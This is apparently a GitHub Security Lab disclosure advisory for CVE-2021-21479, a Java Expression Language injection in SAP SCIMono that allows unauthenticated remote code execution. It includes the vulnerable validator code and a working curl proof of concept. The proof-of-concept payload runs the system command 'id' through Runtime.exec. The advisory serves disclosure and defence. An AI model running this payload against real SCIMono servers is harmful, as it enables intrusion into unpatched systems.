Coordinated Disclosure Timeline
- 2020-11-11: Issue reported to SAP Trust Center
- 2021-09-02: The issue was fixed on 0.0.19 version
- 2021-09-02: Public advisory
Summary
A Server-Side Template Injection was identified in SCIMono enabling attackers to inject arbitrary Java EL expressions, leading to unauthenticated Remote Code Execution (RCE) vulnerability.
Product
SCIMono
Tested Version
Details
Remote Code Execution - JavaEL Injection
It is possible to run arbitrary code on the server running SCIMono Server by injecting arbitrary Java Expression Language (EL) expressions.
SCIMono uses Java Bean Validation (JSR 380) custom constraint validators such as SchemaIdValidator
. When building custom constraint violation error messages, it is important to understand that they support different types of interpolation, including Java EL expressions. Therefore if an attacker can inject arbitrary data in the error message template passed to ConstraintValidatorContext.buildConstraintViolationWithTemplate()
, they will be able to run arbitrary Java code. Unfortunately, it is common that validated (and therefore, normally untrusted) bean properties flow into the custom error message. SchemaIdValidator
and other custom constraint validators validate attacker controlled strings which are included in the custom constraint error validation message:
public class SchemaIdValidator implements ConstraintValidator<ValidSchemaId, String> {
private static final Pattern SCHEMA_NAME_ALLOWED_PATTERN = Pattern.compile("(^[a-zA-Z])(\\w)+");
@Override
public boolean isValid(String schemaId, ConstraintValidatorContext context) {
return isValidSchemaId(schemaId, context) && isValidIdentifierName(schemaId, context);
}
private boolean isValidSchemaId(final String schemaId, ConstraintValidatorContext context) {
if (SchemasCallback.isCustomSchema(schemaId)) {
return true;
}
ValidationUtil.interpolateErrorMessage(context, generateViolationMessage(schemaId));
return false;
}
...
private String generateViolationMessage(String attributeName) {
return String.format("The attribute value \"%s\" has invalid value!", attributeName);
}
...
}
Where ValidationUtil.interpolateErrorMessage()
is defined as:
public static void interpolateErrorMessage(ConstraintValidatorContext context, String errorMessage) {
context.disableDefaultConstraintViolation();
context.buildConstraintViolationWithTemplate(errorMessage).addConstraintViolation();
}
PoC
In order to reproduce this vulnerability you can use the following steps:
- Modify the SCIMono example server in the following way:
1.1. Add
org.glassfish.jersey.ext:jersey-bean-validation
dependency so Jersey enforces Bean Validation 1.2. Add a dummy Schemas callback. eg:
import com.sap.scimono.callback.schemas.SchemasCallback;
import com.sap.scimono.entity.schema.Attribute;
import com.sap.scimono.entity.schema.Schema;
import javax.ws.rs.WebApplicationException;
import javax.ws.rs.core.Response;
import java.util.List;
public class Schemas implements SchemasCallback {
public Schemas() {
}
public Schema getCustomSchema(String schemaId) {
return null;
}
public void createCustomSchema(Schema schema) {
}
public List<Schema> getCustomSchemas() {
return null;
}
public void deleteCustomSchema(String schemaId) {
}
public boolean isValidSchemaName(String schemaName) {
return true;
}
public Attribute getAttribute(String path) {
return null;
}
}
Add the following method to SimpleServerApplication
:
@Override
public SchemasCallback getSchemasCallback() {
return new Schemas();
}
- Force a SchemaId parse error by using a non-existing Id and add an Expression Language payload such as `${1+1}:
$> curl 'http://localhost:8080/scim/Schemas/$%7B1+1%7D'
The response will contain the result of the EL evaluation:
[ {
"status" : "400",
"schemas" : [ "urn:ietf:params:scim:api:messages:2.0:Error" ],
"detail" : "The attribute value \"2\" has invalid value!"
} ]
You can run arbitrary system commands such as id
. Eg:
$> curl "http://localhost:8080/scim/Schemas/$%7B''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\"id\")')%7D"
which will get you:
[ {
"status" : "400",
"schemas" : [ "urn:ietf:params:scim:api:messages:2.0:Error" ],
"detail" : "The attribute value \"java.lang.UNIXProcess@3b1d4c18\" has invalid value!"
} ]
The java.lang.UNIXProcess
part proves that the process was run.
Impact
This issue leads to Remote Code execution
CVE
- CVE-2021-21479
Resources
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2020-227
in any communication regarding this issue.